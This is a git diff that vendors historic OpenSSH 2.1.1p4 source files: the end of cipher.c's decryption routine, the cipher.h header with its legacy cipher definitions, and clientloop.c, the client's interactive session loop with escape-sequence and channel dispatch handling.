context->u.des3.key3, &context->u.des3.iv3, + dest, (unsigned char *) src, len); + break; + + case SSH_CIPHER_BLOWFISH: + swap_bytes(src, dest, len); + BF_cbc_encrypt((void *) dest, dest, len, + &context->u.bf.key, context->u.bf.iv, + BF_DECRYPT); + swap_bytes(dest, dest, len); + break; + + case SSH_CIPHER_BLOWFISH_CBC: + BF_cbc_encrypt((void *) src, dest, len, + &context->u.bf.key, context->u.bf.iv, + BF_DECRYPT); + break; + + case SSH_CIPHER_3DES_CBC: + des_ede3_cbc_encrypt(src, dest, len, + context->u.des3.key1, context->u.des3.key2, + context->u.des3.key3, &context->u.des3.iv3, DES_DECRYPT); + break; + + case SSH_CIPHER_ARCFOUR: + RC4(&context->u.rc4, len, (unsigned char *)src, dest); + break; + + case SSH_CIPHER_CAST128_CBC: + CAST_cbc_encrypt(src, dest, len, + &context->u.cast.key, context->u.cast.iv, CAST_DECRYPT); + break; + + default: + fatal("cipher_decrypt: unknown cipher: %s", cipher_name(context->type)); + } +} diff --git a/other/openssh-2.1.1p4/cipher.h b/other/openssh-2.1.1p4/cipher.h new file mode 100644 index 0000000..a137990 --- /dev/null +++ b/other/openssh-2.1.1p4/cipher.h @@ -0,0 +1,115 @@ +/* + * + * cipher.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Apr 19 16:50:42 1995 ylo + * + */ + +/* RCSID("$OpenBSD: cipher.h,v 1.18 2000/06/20 01:39:40 markus Exp $"); */ + +#ifndef CIPHER_H +#define CIPHER_H + +#include +#include +#include +#include + +/* Cipher types. New types can be added, but old types should not be removed + for compatibility. The maximum allowed value is 31. */ +#define SSH_CIPHER_ILLEGAL -2 /* No valid cipher selected. */ +#define SSH_CIPHER_NOT_SET -1 /* None selected (invalid number). */ +#define SSH_CIPHER_NONE 0 /* no encryption */ +#define SSH_CIPHER_IDEA 1 /* IDEA CFB */ +#define SSH_CIPHER_DES 2 /* DES CBC */ +#define SSH_CIPHER_3DES 3 /* 3DES CBC */ +#define SSH_CIPHER_BROKEN_TSS 4 /* TRI's Simple Stream encryption CBC */ +#define SSH_CIPHER_BROKEN_RC4 5 /* Alleged RC4 */ +#define SSH_CIPHER_BLOWFISH 6 +#define SSH_CIPHER_RESERVED 7 + +/* these ciphers are used in SSH2: */ +#define SSH_CIPHER_BLOWFISH_CBC 8 +#define SSH_CIPHER_3DES_CBC 9 +#define SSH_CIPHER_ARCFOUR 10 /* Alleged RC4 */ +#define SSH_CIPHER_CAST128_CBC 11 + +typedef struct { + unsigned int type; + union { + struct { + des_key_schedule key1; + des_key_schedule key2; + des_cblock iv2; + des_key_schedule key3; + des_cblock iv3; + } des3; + struct { + struct bf_key_st key; + unsigned char iv[8]; + } bf; + struct { + CAST_KEY key; + unsigned char iv[8]; + } cast; + RC4_KEY rc4; + } u; +} CipherContext; +/* + * Returns a bit mask indicating which ciphers are supported by this + * implementation. The bit mask has the corresponding bit set of each + * supported cipher. + */ +unsigned int cipher_mask(); +unsigned int cipher_mask1(); +unsigned int cipher_mask2(); + +/* Returns the name of the cipher. */ +const char *cipher_name(int cipher); + +/* + * Parses the name of the cipher. Returns the number of the corresponding + * cipher, or -1 on error. + */ +int cipher_number(const char *name); + +/* returns 1 if all ciphers are supported (ssh2 only) */ +int ciphers_valid(const char *names); + +/* + * Selects the cipher to use and sets the key. If for_encryption is true, + * the key is setup for encryption; otherwise it is setup for decryption. + */ +void +cipher_set_key(CipherContext * context, int cipher, + const unsigned char *key, int keylen); +void +cipher_set_key_iv(CipherContext * context, int cipher, + const unsigned char *key, int keylen, + const unsigned char *iv, int ivlen); + +/* + * Sets key for the cipher by computing the MD5 checksum of the passphrase, + * and using the resulting 16 bytes as the key. + */ +void +cipher_set_key_string(CipherContext * context, int cipher, + const char *passphrase); + +/* Encrypts data using the cipher. */ +void +cipher_encrypt(CipherContext * context, unsigned char *dest, + const unsigned char *src, unsigned int len); + +/* Decrypts data using the cipher. */ +void +cipher_decrypt(CipherContext * context, unsigned char *dest, + const unsigned char *src, unsigned int len); + +#endif /* CIPHER_H */ diff --git a/other/openssh-2.1.1p4/clientloop.c b/other/openssh-2.1.1p4/clientloop.c new file mode 100644 index 0000000..f7ac7b3 --- /dev/null +++ b/other/openssh-2.1.1p4/clientloop.c @@ -0,0 +1,1117 @@ +/* + * + * clientloop.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * + * Created: Sat Sep 23 12:23:57 1995 ylo + * + * The main loop for the interactive session (client side). + * + * SSH2 support added by Markus Friedl. + */ + +#include "includes.h" +RCSID("$OpenBSD: clientloop.c,v 1.28 2000/07/13 23:14:08 provos Exp $"); + +#include "xmalloc.h" +#include "ssh.h" +#include "packet.h" +#include "buffer.h" +#include "authfd.h" +#include "readconf.h" + +#include "ssh2.h" +#include "compat.h" +#include "channels.h" +#include "dispatch.h" + + +/* Flag indicating that stdin should be redirected from /dev/null. */ +extern int stdin_null_flag; + +/* + * Name of the host we are connecting to. This is the name given on the + * command line, or the HostName specified for the user-supplied name in a + * configuration file. + */ +extern char *host; + +/* + * Flag to indicate that we have received a window change signal which has + * not yet been processed. This will cause a message indicating the new + * window size to be sent to the server a little later. This is volatile + * because this is updated in a signal handler. + */ +static volatile int received_window_change_signal = 0; + +/* Terminal modes, as saved by enter_raw_mode. */ +static struct termios saved_tio; + +/* + * Flag indicating whether we are in raw mode. This is used by + * enter_raw_mode and leave_raw_mode. + */ +static int in_raw_mode = 0; + +/* Flag indicating whether the user\'s terminal is in non-blocking mode. */ +static int in_non_blocking_mode = 0; + +/* Common data for the client loop code. */ +static int escape_pending; /* Last character was the escape character */ +static int last_was_cr; /* Last character was a newline. */ +static int exit_status; /* Used to store the exit status of the command. */ +static int stdin_eof; /* EOF has been encountered on standard error. */ +static Buffer stdin_buffer; /* Buffer for stdin data. */ +static Buffer stdout_buffer; /* Buffer for stdout data. */ +static Buffer stderr_buffer; /* Buffer for stderr data. */ +static unsigned int buffer_high;/* Soft max buffer size. */ +static int max_fd; /* Maximum file descriptor number in select(). */ +static int connection_in; /* Connection to server (input). */ +static int connection_out; /* Connection to server (output). */ +static unsigned long stdin_bytes, stdout_bytes, stderr_bytes; +static int quit_pending; /* Set to non-zero to quit the client loop. */ +static int escape_char; /* Escape character. */ + + +void client_init_dispatch(void); +int session_ident = -1; + +/* Returns the user\'s terminal to normal mode if it had been put in raw mode. */ + +void +leave_raw_mode() +{ + if (!in_raw_mode) + return; + in_raw_mode = 0; + if (tcsetattr(fileno(stdin), TCSADRAIN, &saved_tio) < 0) + perror("tcsetattr"); + + fatal_remove_cleanup((void (*) (void *)) leave_raw_mode, NULL); +} + +/* Puts the user\'s terminal in raw mode. */ + +void +enter_raw_mode() +{ + struct termios tio; + + if (tcgetattr(fileno(stdin), &tio) < 0) + perror("tcgetattr"); + saved_tio = tio; + tio.c_iflag |= IGNPAR; + tio.c_iflag &= ~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF); + tio.c_lflag &= ~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL); +#ifdef IEXTEN + tio.c_lflag &= ~IEXTEN; +#endif /* IEXTEN */ + tio.c_oflag &= ~OPOST; + tio.c_cc[VMIN] = 1; + tio.c_cc[VTIME] = 0; + if (tcsetattr(fileno(stdin), TCSADRAIN, &tio) < 0) + perror("tcsetattr"); + in_raw_mode = 1; + + fatal_add_cleanup((void (*) (void *)) leave_raw_mode, NULL); +} + +/* Restores stdin to blocking mode. */ + +void +leave_non_blocking() +{ + if (in_non_blocking_mode) { + (void) fcntl(fileno(stdin), F_SETFL, 0); + in_non_blocking_mode = 0; + fatal_remove_cleanup((void (*) (void *)) leave_non_blocking, NULL); + } +} + +/* Puts stdin terminal in non-blocking mode. */ + +void +enter_non_blocking() +{ + in_non_blocking_mode = 1; + (void) fcntl(fileno(stdin), F_SETFL, O_NONBLOCK); + fatal_add_cleanup((void (*) (void *)) leave_non_blocking, NULL); +} + +/* + * Signal handler for the window change signal (SIGWINCH). This just sets a + * flag indicating that the window has changed. + */ + +void +window_change_handler(int sig) +{ + received_window_change_signal = 1; + signal(SIGWINCH, window_change_handler); +} + +/* + * Signal handler for signals that cause the program to terminate. These + * signals must be trapped to restore terminal modes. + */ + +void +signal_handler(int sig) +{ + if (in_raw_mode) + leave_raw_mode(); + if (in_non_blocking_mode) + leave_non_blocking(); + channel_stop_listening(); + packet_close(); + fatal("Killed by signal %d.", sig); +} + +/* + * Returns current time in seconds from Jan 1, 1970 with the maximum + * available resolution. + */ + +double +get_current_time() +{ + struct timeval tv; + gettimeofday(&tv, NULL); + return (double) tv.tv_sec + (double) tv.tv_usec / 1000000.0; +} + +/* + * This is called when the interactive is entered. This checks if there is + * an EOF coming on stdin. We must check this explicitly, as select() does + * not appear to wake up when redirecting from /dev/null. + */ + +void +client_check_initial_eof_on_stdin() +{ + int len; + char buf[1]; + + /* + * If standard input is to be "redirected from /dev/null", we simply + * mark that we have seen an EOF and send an EOF message to the + * server. Otherwise, we try to read a single character; it appears + * that for some files, such /dev/null, select() never wakes up for + * read for this descriptor, which means that we never get EOF. This + * way we will get the EOF if stdin comes from /dev/null or similar. + */ + if (stdin_null_flag) { + /* Fake EOF on stdin. */ + debug("Sending eof."); + stdin_eof = 1; + packet_start(SSH_CMSG_EOF); + packet_send(); + } else { + enter_non_blocking(); + + /* Check for immediate EOF on stdin. */ + len = read(fileno(stdin), buf, 1); + if (len == 0) { + /* EOF. Record that we have seen it and send EOF to server. */ + debug("Sending eof."); + stdin_eof = 1; + packet_start(SSH_CMSG_EOF); + packet_send(); + } else if (len > 0) { + /* + * Got data. We must store the data in the buffer, + * and also process it as an escape character if + * appropriate. + */ + if ((unsigned char) buf[0] == escape_char) + escape_pending = 1; + else { + buffer_append(&stdin_buffer, buf, 1); + stdin_bytes += 1; + } + } + leave_non_blocking(); + } +} + + +/* + * Make packets from buffered stdin data, and buffer them for sending to the + * connection. + */ + +void +client_make_packets_from_stdin_data() +{ + unsigned int len; + + /* Send buffered stdin data to the server. */ + while (buffer_len(&stdin_buffer) > 0 && + packet_not_very_much_data_to_write()) { + len = buffer_len(&stdin_buffer); + /* Keep the packets at reasonable size. */ + if (len > packet_get_maxsize()) + len = packet_get_maxsize(); + packet_start(SSH_CMSG_STDIN_DATA); + packet_put_string(buffer_ptr(&stdin_buffer), len); + packet_send(); + buffer_consume(&stdin_buffer, len); + /* If we have a pending EOF, send it now. */ + if (stdin_eof && buffer_len(&stdin_buffer) == 0) { + packet_start(SSH_CMSG_EOF); + packet_send(); + } + } +} + +/* + * Checks if the client window has changed, and sends a packet about it to + * the server if so. The actual change is detected elsewhere (by a software + * interrupt on Unix); this just checks the flag and sends a message if + * appropriate. + */ + +void +client_check_window_change() +{ + struct winsize ws; + + if (! received_window_change_signal) + return; + /** XXX race */ + received_window_change_signal = 0; + + if (ioctl(fileno(stdin), TIOCGWINSZ, &ws) < 0) + return; + + debug("client_check_window_change: changed"); + + if (compat20) { + channel_request_start(session_ident, "window-change", 0); + packet_put_int(ws.ws_col); + packet_put_int(ws.ws_row); + packet_put_int(ws.ws_xpixel); + packet_put_int(ws.ws_ypixel); + packet_send(); + } else { + packet_start(SSH_CMSG_WINDOW_SIZE); + packet_put_int(ws.ws_row); + packet_put_int(ws.ws_col); + packet_put_int(ws.ws_xpixel); + packet_put_int(ws.ws_ypixel); + packet_send(); + } +} + +/* + * Waits until the client can do something (some data becomes available on + * one of the file descriptors). + */ + +void +client_wait_until_can_do_something(fd_set * readset, fd_set * writeset) +{ + /*debug("client_wait_until_can_do_something"); */ + + /* Initialize select masks. */ + FD_ZERO(readset); + FD_ZERO(writeset); + + if (!compat20) { + /* Read from the connection, unless our buffers are full. */ + if (buffer_len(&stdout_buffer) < buffer_high && + buffer_len(&stderr_buffer) < buffer_high && + channel_not_very_much_buffered_data()) + FD_SET(connection_in, readset); + /* + * Read from stdin, unless we have seen EOF or have very much + * buffered data to send to the server. + */ + if (!stdin_eof && packet_not_very_much_data_to_write()) + FD_SET(fileno(stdin), readset); + + /* Select stdout/stderr if have data in buffer. */ + if (buffer_len(&stdout_buffer) > 0) + FD_SET(fileno(stdout), writeset); + if (buffer_len(&stderr_buffer) > 0) + FD_SET(fileno(stderr), writeset); + } else { + FD_SET(connection_in, readset); + } + + /* Add any selections by the channel mechanism. */ + channel_prepare_select(readset, writeset); + + /* Select server connection if have data to write to the server. */ + if (packet_have_data_to_write()) + FD_SET(connection_out, writeset); + +/* move UP XXX */ + /* Update maximum file descriptor number, if appropriate. */ + if (channel_max_fd() > max_fd) + max_fd = channel_max_fd(); + + /* + * Wait for something to happen. This will suspend the process until + * some selected descriptor can be read, written, or has some other + * event pending. Note: if you want to implement SSH_MSG_IGNORE + * messages to fool traffic analysis, this might be the place to do + * it: just have a random timeout for the select, and send a random + * SSH_MSG_IGNORE packet when the timeout expires. + */ + + if (select(max_fd + 1, readset, writeset, NULL, NULL) < 0) { + char buf[100]; + /* Some systems fail to clear these automatically. */ + FD_ZERO(readset); + FD_ZERO(writeset); + if (errno == EINTR) + return; + /* Note: we might still have data in the buffers. */ + snprintf(buf, sizeof buf, "select: %s\r\n", strerror(errno)); + buffer_append(&stderr_buffer, buf, strlen(buf)); + stderr_bytes += strlen(buf); + quit_pending = 1; + } +} + +void +client_suspend_self() +{ + struct winsize oldws, newws; + + /* Flush stdout and stderr buffers. */ + if (buffer_len(&stdout_buffer) > 0) + atomicio(write, fileno(stdout), buffer_ptr(&stdout_buffer), + buffer_len(&stdout_buffer)); + if (buffer_len(&stderr_buffer) > 0) + atomicio(write, fileno(stderr), buffer_ptr(&stderr_buffer), + buffer_len(&stderr_buffer)); + + leave_raw_mode(); + + /* + * Free (and clear) the buffer to reduce the amount of data that gets + * written to swap. + */ + buffer_free(&stdin_buffer); + buffer_free(&stdout_buffer); + buffer_free(&stderr_buffer); + + /* Save old window size. */ + ioctl(fileno(stdin), TIOCGWINSZ, &oldws); + + /* Send the suspend signal to the program itself. */ + kill(getpid(), SIGTSTP); + + /* Check if the window size has changed. */ + if (ioctl(fileno(stdin), TIOCGWINSZ, &newws) >= 0 && + (oldws.ws_row != newws.ws_row || + oldws.ws_col != newws.ws_col || + oldws.ws_xpixel != newws.ws_xpixel || + oldws.ws_ypixel != newws.ws_ypixel)) + received_window_change_signal = 1; + + /* OK, we have been continued by the user. Reinitialize buffers. */ + buffer_init(&stdin_buffer); + buffer_init(&stdout_buffer); + buffer_init(&stderr_buffer); + + enter_raw_mode(); +} + +void +client_process_net_input(fd_set * readset) +{ + int len; + char buf[8192]; + + /* + * Read input from the server, and add any such data to the buffer of + * the packet subsystem. + */ + if (FD_ISSET(connection_in, readset)) { + /* Read as much as possible. */ + len = read(connection_in, buf, sizeof(buf)); +/*debug("read connection_in len %d", len); XXX */ + if (len == 0) { + /* Received EOF. The remote host has closed the connection. */ + snprintf(buf, sizeof buf, "Connection to %.300s closed by remote host.\r\n", + host); + buffer_append(&stderr_buffer, buf, strlen(buf)); + stderr_bytes += strlen(buf); + quit_pending = 1; + return; + } + /* + * There is a kernel bug on Solaris that causes select to + * sometimes wake up even though there is no data available. + */ + if (len < 0 && errno == EAGAIN) + len = 0; + + if (len < 0) { + /* An error has encountered. Perhaps there is a network problem. */ + snprintf(buf, sizeof buf, "Read from remote host %.300s: %.100s\r\n", + host, strerror(errno)); + buffer_append(&stderr_buffer, buf, strlen(buf)); + stderr_bytes += strlen(buf); + quit_pending = 1; + return; + } + packet_process_incoming(buf, len); + } +} + +void +client_process_input(fd_set * readset) +{ + int len; + pid_t pid; + char buf[8192], *s; + + /* Read input from stdin. */ + if (FD_ISSET(fileno(stdin), readset)) { + /* Read as much as possible. */ + len = read(fileno(stdin), buf, sizeof(buf)); + if (len <= 0) { + /* + * Received EOF or error. They are treated + * similarly, except that an error message is printed + * if it was an error condition. + */ + if (len < 0) { + snprintf(buf, sizeof buf, "read: %.100s\r\n", strerror(errno)); + buffer_append(&stderr_buffer, buf, strlen(buf)); + stderr_bytes += strlen(buf); + } + /* Mark that we have seen EOF. */ + stdin_eof = 1; + /* + * Send an EOF message to the server unless there is + * data in the buffer. If there is data in the + * buffer, no message will be sent now. Code + * elsewhere will send the EOF when the buffer + * becomes empty if stdin_eof is set. + */ + if (buffer_len(&stdin_buffer) == 0) { + packet_start(SSH_CMSG_EOF); + packet_send(); + } + } else if (escape_char == -1) { + /* + * Normal successful read, and no escape character. + * Just append the data to buffer. + */ + buffer_append(&stdin_buffer, buf, len); + stdin_bytes += len; + } else { + /* + * Normal, successful read. But we have an escape character + * and have to process the characters one by one. + */ + unsigned int i; + for (i = 0; i < len; i++) { + unsigned char ch; + /* Get one character at a time. */ + ch = buf[i]; + + if (escape_pending) { + /* We have previously seen an escape character. */ + /* Clear the flag now. */ + escape_pending = 0; + /* Process the escaped character. */ + switch (ch) { + case '.': + /* Terminate the connection. */ + snprintf(buf, sizeof buf, "%c.\r\n", escape_char); + buffer_append(&stderr_buffer, buf, strlen(buf)); + stderr_bytes += strlen(buf); + quit_pending = 1; + return; + + case 'Z' - 64: + /* Suspend the program. */ + /* Print a message to that effect to the user. */ + snprintf(buf, sizeof buf, "%c^Z\r\n", escape_char); + buffer_append(&stderr_buffer, buf, strlen(buf)); + stderr_bytes += strlen(buf); + + /* Restore terminal modes and suspend. */ + client_suspend_self(); + + /* We have been continued. */ + continue; + + case '&': + /* + * Detach the program (continue to serve connections, + * but put in background and no more new connections). + */ + if (!stdin_eof) { + /* + * Sending SSH_CMSG_EOF alone does not always appear + * to be enough. So we try to send an EOF character + * first. + */ + packet_start(SSH_CMSG_STDIN_DATA); + packet_put_string("\004", 1); + packet_send(); + /* Close stdin. */ + stdin_eof = 1; + if (buffer_len(&stdin_buffer) == 0) { + packet_start(SSH_CMSG_EOF); + packet_send(); + } + } + /* Restore tty modes. */ + leave_raw_mode(); + + /* Stop listening for new connections. */ + channel_stop_listening(); + + printf("%c& [backgrounded]\n", escape_char); + + /* Fork into background. */ + pid = fork(); + if (pid < 0) { + error("fork: %.100s", strerror(errno)); + continue; + } + if (pid != 0) { /* This is the parent. */ + /* The parent just exits. */ + exit(0); + } + /* The child continues serving connections. */ + continue; + + case '?': + snprintf(buf, sizeof buf, +"%c?\r\n\ +Supported escape sequences:\r\n\ +~. - terminate connection\r\n\ +~^Z - suspend ssh\r\n\ +~# - list forwarded connections\r\n\ +~& - background ssh (when waiting for connections to terminate)\r\n\ +~? - this message\r\n\ +~~ - send the escape character by typing it twice\r\n\ +(Note that escapes are only recognized immediately after newline.)\r\n", + escape_char); + buffer_append(&stderr_buffer, buf, strlen(buf)); + continue; + + case '#': + snprintf(buf, sizeof buf, "%c#\r\n", escape_char); + buffer_append(&stderr_buffer, buf, strlen(buf)); + s = channel_open_message(); + buffer_append(&stderr_buffer, s, strlen(s)); + xfree(s); + continue; + + default: + if (ch != escape_char) { + /* + * Escape character followed by non-special character. + * Append both to the input buffer. + */ + buf[0] = escape_char; + buf[1] = ch; + buffer_append(&stdin_buffer, buf, 2); + stdin_bytes += 2; + continue; + } + /* + * Note that escape character typed twice + * falls through here; the latter gets processed + * as a normal character below. + */ + break; + } + } else { + /* + * The previous character was not an escape char. Check if this + * is an escape. + */ + if (last_was_cr && ch == escape_char) { + /* It is. Set the flag and continue to next character. */ + escape_pending = 1; + continue; + } + } + + /* + * Normal character. Record whether it was a newline, + * and append it to the buffer. + */ + last_was_cr = (ch == '\r' || ch == '\n'); + buf[0] = ch; + buffer_append(&stdin_buffer, buf, 1); + stdin_bytes += 1; + continue; + } + } + } +} + +void +client_process_output(fd_set * writeset) +{ + int len; + char buf[100]; + + /* Write buffered output to stdout. */ + if (FD_ISSET(fileno(stdout), writeset)) { + /* Write as much data as possible. */ + len = write(fileno(stdout), buffer_ptr(&stdout_buffer), + buffer_len(&stdout_buffer)); + if (len <= 0) { + if (errno == EAGAIN) + len = 0; + else { + /* + * An error or EOF was encountered. Put an + * error message to stderr buffer. + */ + snprintf(buf, sizeof buf, "write stdout: %.50s\r\n", strerror(errno)); + buffer_append(&stderr_buffer, buf, strlen(buf)); + stderr_bytes += strlen(buf); + quit_pending = 1; + return; + } + } + /* Consume printed data from the buffer. */ + buffer_consume(&stdout_buffer, len); + } + /* Write buffered output to stderr. */ + if (FD_ISSET(fileno(stderr), writeset)) { + /* Write as much data as possible. */ + len = write(fileno(stderr), buffer_ptr(&stderr_buffer), + buffer_len(&stderr_buffer)); + if (len <= 0) { + if (errno == EAGAIN) + len = 0; + else { + /* EOF or error, but can't even print error message. */ + quit_pending = 1; + return; + } + } + /* Consume printed characters from the buffer. */ + buffer_consume(&stderr_buffer, len); + } +} + +/* + * Get packets from the connection input buffer, and process them as long as + * there are packets available. + * + * Any unknown packets received during the actual + * session cause the session to terminate. This is + * intended to make debugging easier since no + * confirmations are sent. Any compatible protocol + * extensions must be negotiated during the + * preparatory phase. + */ + +void +client_process_buffered_input_packets() +{ + dispatch_run(DISPATCH_NONBLOCK, &quit_pending); +} + +/* + * Implements the interactive session with the server. This is called after + * the user has been authenticated, and a command has been started on the + * remote host. If escape_char != -1, it is the character used as an escape + * character for terminating or suspending the session. + */ + +int +client_loop(int have_pty, int escape_char_arg) +{ + extern Options options; + double start_time, total_time; + int len; + char buf[100]; + + debug("Entering interactive session."); + + start_time = get_current_time(); + + /* Initialize variables. */ + escape_pending = 0; + last_was_cr = 1; + exit_status = -1; + stdin_eof = 0; + buffer_high = 64 * 1024; + connection_in = packet_get_connection_in(); + connection_out = packet_get_connection_out(); + max_fd = connection_in; + if (connection_out > max_fd) + max_fd = connection_out; + stdin_bytes = 0; + stdout_bytes = 0; + stderr_bytes = 0; + quit_pending = 0; + escape_char = escape_char_arg; + + /* Initialize buffers. */ + buffer_init(&stdin_buffer); + buffer_init(&stdout_buffer); + buffer_init(&stderr_buffer); + + client_init_dispatch(); + + /* Set signal handlers to restore non-blocking mode. */ + signal(SIGINT, signal_handler); + signal(SIGQUIT, signal_handler); + signal(SIGTERM, signal_handler); + signal(SIGPIPE, SIG_IGN); + if (have_pty) + signal(SIGWINCH, window_change_handler); + + if (have_pty) + enter_raw_mode(); + + /* Check if we should immediately send eof on stdin. */ + if (!compat20) + client_check_initial_eof_on_stdin(); + + /* Main loop of the client for the interactive session mode. */ + while (!quit_pending) { + fd_set readset, writeset; + + /* Process buffered packets sent by the server. */ + client_process_buffered_input_packets(); + + if (compat20 && !channel_still_open()) { + debug("!channel_still_open."); + break; + } + + /* + * Make packets of buffered stdin data, and buffer them for + * sending to the server. + */ + if (!compat20) + client_make_packets_from_stdin_data(); + + /* + * Make packets from buffered channel data, and buffer them + * for sending to the server. + */ + if (packet_not_very_much_data_to_write()) + channel_output_poll(); + + /* + * Check if the window size has changed, and buffer a message + * about it to the server if so. + */ + client_check_window_change(); + + if (quit_pending) + break; + + /* + * Wait until we have something to do (something becomes + * available on one of the descriptors). + */ + client_wait_until_can_do_something(&readset, &writeset); + + if (quit_pending) + break; + + /* Do channel operations. */ + channel_after_select(&readset, &writeset); + + /* Buffer input from the connection. */ + client_process_net_input(&readset); + + if (quit_pending) + break; + + if (!compat20) { + /* Buffer data from stdin */ + client_process_input(&readset); + /* + * Process output to stdout and stderr. Output to + * the connection is processed elsewhere (above). + */ + client_process_output(&writeset); + } + + /* Send as much buffered packet data as possible to the sender. */ + if (FD_ISSET(connection_out, &writeset)) + packet_write_poll(); + } + + /* Terminate the session. */ + + /* Stop watching for window change. */ + if (have_pty) + signal(SIGWINCH, SIG_DFL); + + /* Stop listening for connections. */ + channel_stop_listening(); + + /* + * In interactive mode (with pseudo tty) display a message indicating + * that the connection has been closed. + */ + if (have_pty && options.log_level != SYSLOG_LEVEL_QUIET) { + snprintf(buf, sizeof buf, "Connection to %.64s closed.\r\n", host); + buffer_append(&stderr_buffer, buf, strlen(buf)); + stderr_bytes += strlen(buf); + } + /* Output any buffered data for stdout. */ + while (buffer_len(&stdout_buffer) > 0) { + len = write(fileno(stdout), buffer_ptr(&stdout_buffer), + buffer_len(&stdout_buffer)); + if (len <= 0) { + error("Write failed flushing stdout buffer."); + break; + } + buffer_consume(&stdout_buffer, len); + } + + /* Output any buffered data for stderr. */ + while (buffer_len(&stderr_buffer) > 0) { + len = write(fileno(stderr), buffer_ptr(&stderr_buffer), + buffer_len(&stderr_buffer)); + if (len <= 0) { + error("Write failed flushing stderr buffer."); + break; + } + buffer_consume(&stderr_buffer, len); + } + + if (have_pty) + leave_raw_mode(); + + /* Clear and free any buffers. */ + memset(buf, 0, sizeof(buf)); + buffer_free(&stdin_buffer); + buffer_free(&stdout_buffer); + buffer_free(&stderr_buffer); + + /* Report bytes transferred, and transfer rates. */ + total_time = get_current_time() - start_time; + debug("Transferred: stdin %lu, stdout %lu, stderr %lu bytes in %.1f seconds", + stdin_bytes, stdout_bytes, stderr_bytes, total_time); + if (total_time > 0) + debug("Bytes per second: stdin %.1f, stdout %.1f, stderr %.1f", + stdin_bytes / total_time, stdout_bytes / total_time, + stderr_bytes / total_time); + + /* Return the exit status of the program. */ + debug("Exit status %d", exit_status); + return exit_status; +} + +/*********/ + +void +client_input_stdout_data(int type, int plen) +{ + unsigned int data_len; + char *data = packet_get_string(&data_len); + packet_integrity_check(plen, 4 + data_len, type); + buffer_append(&stdout_buffer, data, data_len); + stdout_bytes += data_len; + memset(data, 0, data_len); + xfree(data); +} +void +client_input_stderr_data(int type, int plen) +{ + unsigned int data_len; + char *data = packet_get_string(&data_len); + packet_integrity_check(plen, 4 + data_len, type); + buffer_append(&stderr_buffer, data, data_len); + stdout_bytes += data_len; + memset(data, 0, data_len); + xfree(data); +} +void +client_input_exit_status(int type, int plen) +{ + packet_integrity_check(plen, 4, type); + exit_status = packet_get_int(); + /* Acknowledge the exit. */ + packet_start(SSH_CMSG_EXIT_CONFIRMATION); + packet_send(); + /* + * Must wait for packet to be sent since we are + * exiting the loop. + */ + packet_write_wait(); + /* Flag that we want to exit. */ + quit_pending = 1; +} + +/* XXXX move to generic input handler */ +void +client_input_channel_open(int type, int plen) +{ + Channel *c = NULL; + char *ctype; + int id; + unsigned int len; + int rchan; + int rmaxpack; + int rwindow; + + ctype = packet_get_string(&len); + rchan = packet_get_int(); + rwindow = packet_get_int(); + rmaxpack = packet_get_int(); + + debug("client_input_channel_open: ctype %s rchan %d win %d max %d", + ctype, rchan, rwindow, rmaxpack); + + if (strcmp(ctype, "x11") == 0) { + int sock; + char *originator; + int originator_port; + originator = packet_get_string(NULL); + if (datafellows & SSH_BUG_X11FWD) { + debug("buggy server: x11 request w/o originator_port"); + originator_port = 0; + } else { + originator_port = packet_get_int(); + } + packet_done(); + /* XXX check permission */ + xfree(originator); + /* XXX move to channels.c */ + sock = x11_connect_display(); + if (sock >= 0) { + id = channel_new("x11", SSH_CHANNEL_X11_OPEN, + sock, sock, -1, 4*1024, 32*1024, 0, + xstrdup("x11")); + c = channel_lookup(id); + } + } +/* XXX duplicate : */ + if (c != NULL) { + debug("confirm %s", ctype); + c->remote_id = rchan; + c->remote_window = rwindow; + c->remote_maxpacket = rmaxpack; + + packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(c->remote_id); + packet_put_int(c->self); + packet_put_int(c->local_window); + packet_put_int(c->local_maxpacket); + packet_send(); + } else { + debug("failure %s", ctype); + packet_start(SSH2_MSG_CHANNEL_OPEN_FAILURE); + packet_put_int(rchan); + packet_put_int(SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED); + packet_put_cstring("bla bla"); + packet_put_cstring(""); + packet_send(); + } + xfree(ctype); +} + +void +client_init_dispatch_20() +{ + dispatch_init(&dispatch_protocol_error); + dispatch_set(SSH2_MSG_CHANNEL_CLOSE, &channel_input_oclose); + dispatch_set(SSH2_MSG_CHANNEL_DATA, &channel_input_data); + dispatch_set(SSH2_MSG_CHANNEL_EOF, &channel_input_ieof); + dispatch_set(SSH2_MSG_CHANNEL_EXTENDED_DATA, &channel_input_extended_data); + dispatch_set(SSH2_MSG_CHANNEL_OPEN, &client_input_channel_open); + dispatch_set(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION, &channel_input_open_confirmation); + dispatch_set(SSH2_MSG_CHANNEL_OPEN_FAILURE, &channel_input_open_failure); + dispatch_set(SSH2_MSG_CHANNEL_REQUEST, &channel_input_channel_request); + dispatch_set(SSH2_MSG_CHANNEL_WINDOW_ADJUST, &channel_input_window_adjust); +} +void +client_init_dispatch_13() +{ + dispatch_init(NULL); + dispatch_set(SSH_MSG_CHANNEL_CLOSE, &channel_input_close); + dispatch_set(SSH_MSG_CHANNEL_CLOSE_CONFIRMATION, &channel_input_close_confirmation); + dispatch_set(SSH_MSG_CHANNEL_DATA, &channel_input_data); + dispatch_set(SSH_MSG_CHANNEL_OPEN_CONFIRMATION, &channel_input_open_confirmation); + dispatch_set(SSH_MSG_CHANNEL_OPEN_FAILURE, &channel_input_open_failure); + dispatch_set(SSH_MSG_PORT_OPEN, &channel_input_port_open); + dispatch_set(SSH_SMSG_AGENT_OPEN, &auth_input_open_request); + dispatch_set(SSH_SMSG_EXITSTATUS, &client_input_exit_status); + dispatch_set(SSH_SMSG_STDERR_DATA, &client_input_stderr_data); + dispatch_set(SSH_SMSG_STDOUT_DATA, &client_input_stdout_data); + dispatch_set(SSH_SMSG_X11_OPEN, &x11_input_open); +} +void +client_init_dispatch_15() +{ + client_init_dispatch_13(); + dispatch_set(SSH_MSG_CHANNEL_CLOSE, &channel_input_ieof); + dispatch_set(SSH_MSG_CHANNEL_CLOSE_CONFIRMATION, & channel_input_oclose); +} 